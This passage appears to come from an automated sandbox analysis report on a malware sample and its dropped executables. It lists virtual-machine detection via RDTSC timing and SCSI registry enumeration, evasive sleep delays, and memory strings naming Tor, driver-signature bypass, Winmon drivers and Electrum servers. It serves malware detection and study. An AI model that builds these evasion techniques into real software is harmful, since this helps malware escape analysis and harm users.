Source: 56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: ... OMITTING ACCEPT-CHARSETAFTER EFIGUARDALLOCFREETRACEBAD ALLOCCOUNTBAD RECORD MACBAD SPAN STATEBAD STACK SIZEBTC.USEBSV.COMCERT INSTALLEDCHECKSUM ERRORCONTENT-LENGTHCOULDN'T PATCHDATA TRUNCATEDDISTRIBUTOR_IDDRIVER REMOVEDERROR RESPONSEEXIT STATUS -1FILE TOO LARGEFINALIZER WAITGCSTOPTHEWORLDGET UPTIME: %WGETPROTOBYNAMEGOT SYSTEM PIDINITIAL SERVERINTERNAL ERRORINVALID SYNTAXIS A DIRECTORYKEY SIZE WRONGLEVEL 2 HALTEDLEVEL 3 HALTEDMEMPROFILERATENEED MORE DATANIL ELEM TYPE!NO MODULE DATANO SUCH DEVICEOBFS4PROXY.EXEOPEN EVENT: %WPARSE CERT: %WPROTOCOL ERRORREAD CERTS: %WREMOVE APP: %WRUNTIME: BASE=RUNTIME: FULL=S.ALLOCCOUNT= SEMAROOT QUEUESERVER.VERSIONSTACK OVERFLOWSTOPM SPINNINGSTORE64 FAILEDSYNC.COND.WAITTEXT FILE BUSYTIMEENDPERIODTOO MANY LINKSTOO MANY USERSTORRC FILENAMEUNEXPECTED EOFUNKNOWN CODE: UNKNOWN ERROR UNKNOWN METHODUNKNOWN MODE: UNREACHABLE: UNSAFE.POINTERVIRTUALBOX: %WVMWARETRAY.EXEVMWAREUSER.EXEWII LIBNUP/1.0WINAPI ERROR #WINDOW CREATEDWORK.FULL != 0X509IGNORECN=1XENSERVICE.EXEZERO PARAMETER WITH GC PROG
Source: 56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: TOO MANY LINKSTOO MANY USERSTORRC FILENAMEUNEXPECTED EOFUNKNOWN CODE: UNKNOWN ERROR UNKNOWN METHODUNKNOWN MODE: UNREACHABLE: UNSAFE.POINTERVIRTUALBOX: %WVMWARETRAY.EXEVMWAREUSER.EXEWII LIBNUP/1.0WINAPI ERROR #WINDOW CREATEDWORK.FULL != 0X509IGNORECN=1XENSERVICE.EXEZERO PARAMETER WITH GC PROG

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\Local\Temp\F5C7.exe	RDTSC instruction interceptor: First address: 000000014022773B second address: 00000001401C3B0C instructions: 0x00000000 rdtsc 0x00000002 dec esp 0x00000003 arpl dx, bp 0x00000005 jmp 00007FB4B034CC33h 0x0000000a inc ecx 0x0000000b pop ebp 0x0000000c dec ecx 0x0000000d or edi, 4743259Eh 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F5C7.exe	RDTSC instruction interceptor: First address: 000000014021CEEB second address: 000000014021CEF9 instructions: 0x00000000 rdtsc 0x00000002 inc ecx 0x00000003 pop edx 0x00000004 inc ecx 0x00000005 rcl bh, cl 0x00000007 rcr al, cl 0x00000009 inc ecx 0x0000000a sal cl, cl 0x0000000c inc ecx 0x0000000d pop esi 0x0000000e rdtsc

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bhseufd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bhseufd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bhseufd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bhseufd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bhseufd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bhseufd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\361E.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\361E.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\361E.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\361E.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\361E.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\361E.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Source: C:\Windows\explorer.exe TID: 5908	Thread sleep count: 644 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 2444	Thread sleep count: 421 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 2444	Thread sleep time: -42100s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 2040	Thread sleep count: 330 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 2040	Thread sleep time: -33000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1796	Thread sleep count: 500 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5348	Thread sleep count: 205 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5892	Thread sleep count: 312 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5892	Thread sleep time: -31200s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3696	Thread sleep count: 198 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F5C7.exe TID: 1952	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F5C7.exe TID: 5732	Thread sleep time: -420000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\20C0.exe TID: 5572	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\20C0.exe TID: 5156	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\F5C7.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\D7DE.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep

graph_14-16668

Source: C:\Users\user\AppData\Local\Temp\F5C7.exe

Thread delayed: delay time: 420000

Jump to behavior

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 644	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 421	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 500	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\D7DE.exe

Code function: 14_2_025C071C rdtsc

14_2_025C071C

Source: C:\Users\user\AppData\Local\Temp\F5C7.exe

Thread delayed: delay time: 420000

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\D7DE.exe

API call chain: ExitProcess graph end node

graph_14-16832

Source: 56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: entersyscallexit status failed to %wfound av: %sgcpacertracegetaddrinfowgot TI tokenguid_machinehost is downhttp2debug=1http2debug=2illegal seekinjector.exeinstall_dateinvalid baseinvalid portinvalid slotiphlpapi.dllkernel32.dllmachine_guidmadvdontneedmax-forwardsmsftedit.dllnetapi32.dllno such hostnon-existentnot pollableoleaut32.dllout of rangeparse PE: %wpointtopointproxyconnectreflect.Copyreleasep: m=remote errorremoving appruntime: f= runtime: gp=s ap traffics hs trafficsetupapi.dllshort buffertraffic/readtransmitfileulrichard.chunexpected )unknown portunknown typevmacthlp.exevmtoolsd.exewatchdog.exewinlogon.exewintrust.dllwirep: p->m=wtsapi32.dll != sweepgen (default %q) (default %v) MB released
Source: explorer.exe, 00000001.00000000.328937981.000000000830B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: 56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: DSA-SHA1DecemberDefenderDeleteDCDuployanEULA.txtEqualSidEthiopicExtenderFebruaryFirewallFullPathGeorgianGetOEMCPGoStringGujaratiGurmukhiHTTP/1.1HTTP/2.0HiraganaInstFailInstRuneJavaneseKatakanaKayah_LiLIFETIMELinear_ALinear_BLocationLsaCloseMahajaniNO_ERRORNO_PROXYNovemberOl_ChikiPRIORITYPROGRESSParseIntPersoconPhags_PaQuestionReadFileReceivedSETTINGSSHA1-RSASOFTWARESaturdaySetEventSystem32TagbanwaTai_ThamTai_VietThursdayTifinaghTypeAAAATypeAXFRUSERHASHUSERNAMEUgariticVBoxWddmVT_ARRAYVT_BYREFWSAIoctlWinmonFSWmiPrvSE[:word:][signal \\.\HGFS\\.\vmcistack=[_NewEnumacceptexaddress bad instcgocheckcs default:dial: %wdnsquerydurationeax ebp ebx ecx edi edx eflags eip embeddedesi esp exporterf is nilfinishedfs go1.13.3gs hijackedhttp/1.1https://if-matchif-rangeinfinityinjectorinvalid locationloopbackmac_addrmountvolmsvmmoufno anodeno-cacheno_proxyopPseudoraw-readreadfromrecvfromrunnableruntime.scavengeshutdownstrconv.taskkilltor_modeunixgramunknown(usernamevmmemctlvmx_svgawalk: %wwsaioctlwuauservyuio.top (forced) blocked= defersc= in use)
Source: 56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: m=] n=archasn1avx2basebindbmi1bmi2boolcallcap cas1cas2cas3cas4cas5cas6chandatedeaddialdoneermsetagfailfilefromftpsfuncgziphosthourhttpicmpidleigmpint8jsonkindlinknonenullopenpathpipepop3quitreadsbrkseeksid=smtpsse2sse3tag:tcp4tcp6texttruetypeudp4udp6uintunixuuidvaryvmcixn-- -%s ...
Source: F5C7.exe, 00000010.00000003.506277247.0000000000595000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: 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
Source: 56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 100-continue127.0.0.1:%d152587890625762939453125AUTHENTICATEBidi_ControlCIDR addressCONTINUATIONCfgMgr32.dllCoCreateGuidCoInitializeContent TypeContent-TypeCookie.ValueCreateEventWCreateMutexWDeleteObjectECDSA-SHA256ECDSA-SHA384ECDSA-SHA512ErrUnknownPCFindNextFileGetAddrInfoWGetConsoleCPGetLastErrorGetLengthSidGetProcessIdGetStdHandleGetTempPathWGetUserGeoIDGlobalUnlockGlobal\csrssI'm a teapotInstAltMatchJoin_ControlLittleEndianLoadLibraryWLoadResourceLockResourceMax-ForwardsMeetei_MayekMime-VersionMulti-StatusNot ExtendedNot ModifiedNtCreateFileOpenServiceWPUSH_PROMISEPahawh_HmongRCodeRefusedRCodeSuccessReadConsoleWReleaseMutexReportEventWResumeThreadRevertToSelfRoInitializeS-1-5-32-544SERIALNUMBERSelectObjectServer ErrorSetEndOfFileSetErrorModeSetStdHandleSora_SompengSyloti_NagriSysStringLenThread32NextTor mode setTransitionalTransmitFileUnauthorizedUnlockFileExVBoxTray.exeVariantClearVirtualAllocVirtualQueryWinmon32.sysWinmon64.sysWintrust.dllX-ImforwardsX-Powered-By[[:^ascii:]]\/(\d+)-(.*)\\.\WinMonFSabi mismatchadvapi32.dllaltmatch -> anynotnl -> bad flushGenbad g statusbad g0 stackbad recoverybad value %dbootmgfw.efibuild_numberc ap trafficc hs trafficcaller errorcan't happencas64 failedcdn is emptychan receiveclose notifycontent-typecontext.TODOcountry_codedse disableddumping heapend tracegc
Source: 56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: DnsRecordListFreeENHANCE_YOUR_CALMEnumThreadWindowsFLE Standard TimeFailed DependencyGC assist markingGMT Standard TimeGTB Standard TimeGetCurrentProcessGetShortPathNameWHEADER_TABLE_SIZEHKEY_CLASSES_ROOTHKEY_CURRENT_USERHTTP_1_1_REQUIREDIf-Modified-SinceIsTokenRestrictedLookupAccountSidWMESSAGE-INTEGRITYMoved PermanentlyOld_North_ArabianOld_South_ArabianOther_ID_ContinuePython-urllib/2.5QueryWorkingSetExRESERVATION-TOKENReadProcessMemoryRegLoadMUIStringWSafeArrayCopyDataSafeArrayCreateExSentence_TerminalSysAllocStringLenToo Many RequestsTransfer-EncodingUnexpected escapeUnified_IdeographUnknown AttributeVGAuthService.exeWSAEnumProtocolsWWTSQueryUserTokenWrite after CloseWrong CredentialsX-Idempotency-Key\System32\drivers\\.\VBoxMiniRdrDNbad TinySizeClasscouldn't dial: %wcouldn't find pidcouldn't get UUIDcouldn't get pidscouldn't hide PIDcpu name is emptycreate window: %wdecryption faileddownloading proxyelectrumx.soon.itembedded/%s32.sysembedded/%s64.sysembedded/EULA.txtentersyscallblockexec format errorexec: not startedexponent overflowfile URL is emptyfractional secondgp.waiting != nilhandshake failureif-modified-sinceillegal parameterimpersonation: %win string literalindex > windowEndinteger too largeinvalid bit size invalid stream IDkey align too biglibwww-perl/5.820locked m0 woke upmark - bad statusmarkBits overflowmissing closing )missing closing ]missing extensionnil resource bodyno data availablenotetsleepg on g0permission deniedpseudo-device: %sread revision: %wreflect.Value.Capreflect.Value.Intreflect.Value.Lenreflect: New(nil)reflect: call of removing watchdogruntime.newosprocruntime: a.base= runtime: b.base= runtime: nameOff runtime: next_gc=runtime: pointer runtime: textOff runtime: typeOff s.callback is nilscanobject n == 0seek at 0x%0x: %wseeker can't seekselect (no cases)stack: frame={sp:start service: %wthread exhaustiontransfer-encodingtruncated headersunknown caller pcvalidate hash: %wwait for GC cyclewine_get_version
Source: explorer.exe, 00000001.00000000.328937981.000000000830B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: IP addressIsValidSidKeep-AliveKharoshthiLocalAllocLockFileExLogonUserWManichaeanMessage-IdNo ContentOld_ItalicOld_PermicOld_TurkicOpenEventWOpenMutexWOpenThreadOther_MathPOSTALCODEParseFloatPhoenicianProcessingPulseEventRST_STREAMResetEventSHA256-RSASHA384-RSASHA512-RSASYSTEMROOTSaurashtraSecureBootSet-CookieShowWindowTor uptimeUseBridgesUser-AgentVMSrvc.exeVT_ILLEGALWSACleanupWSASocketWWSAStartupWget/1.9.1Windows 10Windows 11[:^alnum:][:^alpha:][:^ascii:][:^blank:][:^cntrl:][:^digit:][:^graph:][:^lower:][:^print:][:^punct:][:^space:][:^upper:][:xdigit:]\\.\WinMon\patch.exe^{[\w-]+}$app_%d.txtatomicand8attr%d=%s casgstatuscmd is nilcomplex128connectiondnsapi.dlldsefix.exedwarf.Attre.keff.orgexitThreadexp mastergetsockoptgoroutine http_proxyimage/jpegimage/webpindicationinvalidptrkeep-alivemSpanInUsenanosecondno resultsnot a boolnot signedowner diedprl_cc.exeres binderres masterresumptionrune <nil>runtime: gschedtracesemacquiresend stateset-cookiesetsockoptsocks bindterminatedtracefree(tracegc()
Source: 56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: unixpacketunknown pcuser-agentuser32.dllvmusbmousevmware: %wws2_32.dll of size (targetpc= ErrCode=%v a.npages= b.npages= bytes ...
Source: 56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: , not , val -BEFV--DYOR--FMLD--FZTA--IRXC--JFQI--JQGP--JSKV--JZUF--KGQJ--KSFO--MKND--MOHU--NSFS--PFQJ--PLND--RTMD--VRSM--XQVL-.onion/%d-%d370000390625:31461<-chanAcceptAnswerArabicAugustBUTTONBasic BitBltBrahmiBridgeCANCELCancelCarianChakmaClass(CommonCookieCopticDELETEExpectFltMgrFormatFridayGOAWAYGOROOTGetACPGothicHangulHatranHebrewHyphenKaithiKhojkiLepchaLockedLycianLydianMondayPADDEDPcaSvcPragmaRejangSCHED STREETServerStringSundaySyriacTai_LeTangutTeluguThaanaTypeMXTypeNSUTC+12UTC+13UTC-02UTC-08UTC-09UTC-11VBoxSFVT(%d)WINDIRWinMonWinmon[]byte\??\%s\csrss\ufffd
Source: 56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Value is nullVirtualUnlockWINDOW_UPDATEWTSFreeMemoryWriteConsoleW[FrameHeader \\.\VBoxGuestaccept-rangesaccess deniedadvapi32.dllauthorizationbad flushGen bad map statebtc.cihar.combtc.xskyx.netcache-controlcontent-rangecouldn't polldalTLDpSugct?data is emptyemail addressempty integerexchange fullfatal error: gethostbynamegetservbynamegzip, deflatehttp2client=0if-none-matchimage/svg+xmlinvalid UTF-8invalid base kernel32.dllkey expansionlast-modifiedlevel 3 resetload64 failedmaster secretname is emptynil stackbasenot a Float32open file: %wout of memoryparallels: %wparsing time powrprof.dllprl_tools.exeread EULA: %wrebooting nowscvg: inuse: service stateset event: %wsigner is nilsocks connectsrmount errorstill in listtimer expiredtrailing datatriggerRatio=unimplementedunsupported: user canceledvalue method virtualpc: %wxadd64 failedxchg64 failed}
Source: 56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: to unallocated span$WINDIR\watchdog.exe%%!%c(*big.Float=%s)%s\Sysnative\cmd.exe37252902984619140625Arabic Standard TimeAzores Standard TimeCertFindChainInStoreCertOpenSystemStoreWChangeServiceConfigWCheckTokenMembershipCreateProcessAsUserWCryptAcquireContextWEgyptian_HieroglyphsEnumProcessModulesExFileTimeToSystemTimeGetAcceptExSockaddrsGetAdaptersAddressesGetCurrentDirectoryWGetFileAttributesExWGetModuleFileNameExWGetModuleInformationGetProcessMemoryInfoGetWindowsDirectoryWIDS_Trinary_OperatorInsufficient StorageIsrael Standard TimeJordan Standard TimeMAX_HEADER_LIST_SIZEMalformed JSON errorMediapartners-GoogleMeroitic_HieroglyphsNtSetInformationFileNtUnmapViewOfSectionNtWriteVirtualMemoryOffline Explorer/2.5ProcessIdToSessionIdQueryServiceConfig2WQueryServiceStatusExRegisterEventSourceWRequest URI Too LongRtlInitUnicodeStringSHGetKnownFolderPathSafeArrayDestroyDataSafeArrayGetElemsizeSeek: invalid offsetSeek: invalid whenceSetCurrentDirectoryWSetHandleInformationSetVolumeMountPointWSetupDiOpenDevRegKeyTaipei Standard TimeTerminal_PunctuationTurkey Standard TimeUnprocessable EntityWinmonProcessMonitor[invalid char class]\\.\pipe\VBoxTrayIPCasn1: syntax error: bad defer size classbad font file formatbad system page sizebad use of bucket.bpbad use of bucket.mpchan send (nil chan)close of nil channelconnection error: %sconnection timed outcouldn't disable DSEcouldn't get IsAdmincouldn't get serverscouldn't run servicecouldn't set IsAdmincouldn't set serverscouldn't stop PsaSvccouldn't write patchcreate proxy dir: %wcreate text edit: %wdecode siganture: %wdecode signature: %welectrum.bitkoins.nlelectrum.hsmiths.comelectrum.taborsky.czelectrum.villocq.comevent message is nilflag: help requestedfloating point errorforcegc: phase errorgc_trigger underflowget transactions: %wgetadaptersaddressesgo of nil func valuegopark: bad g statusgzip: invalid headerheader line too longhttp2: stream closedinvalid repeat countinvalid request codeis a named type filejson: Unmarshal(nil json: Unmarshal(nil)key has been revokedmSpanList.insertBackmalformed ciphertextmalloc during signalmove GeoIP files: %wmove Tor GeoIP filesno such struct fieldnon-empty swept listnorm: invalid whencenot an integer classnotetsleep not on g0number has no digitsp mcache not flushedpacer: assist ratio=pad length too largepreempt off reason: reflect.Value.SetIntreflect.makeFuncStubrequest file CDN: %wroot\SecurityCenter2runtime: casgstatus runtime: double waitruntime: unknown pc semaRoot rotateRightstun.ipfire.org:3478systemdrive is emptytime: invalid numbertrace: out of memoryunexpected network: unknown address typeunsupported arch: %suser is not an adminvalue is not presentwirep: already in goworkbuf is not emptywrite of Go pointer ws2_32.dll not foundzlib: invalid header gp.gcscanvalid=true
Source: F5C7.exe, 00000010.00000003.520320951.00000000005AD000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.522051247.00000000005AD000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.507653525.00000000005AD000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.521688880.00000000005AD000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.507340960.00000000005AD000.00000004.00000001.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.506482997.00000000005AD000.00000004.00000001.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.516628478.00000000005AD000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.508330347.00000000005AD000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.507897639.00000000005AD000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.542058713.00000000005AD000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.534389427.00000000005AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000001.00000000.328937981.000000000830B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&0000000
